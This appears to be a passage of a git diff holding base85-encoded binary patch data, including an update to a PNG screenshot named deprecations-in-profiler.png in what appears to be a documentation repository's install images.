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
DL#k5w

diff --git a/_images/install/deprecations-in-profiler.png b/_images/install/deprecations-in-profiler.png
index a8abcae32b79f772c42075800e2b6feedfb84a99..3d3f9a98a4a4fcd617d024e47cdd2143bd8e7669 100644
GIT binary patch
literal 103758
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
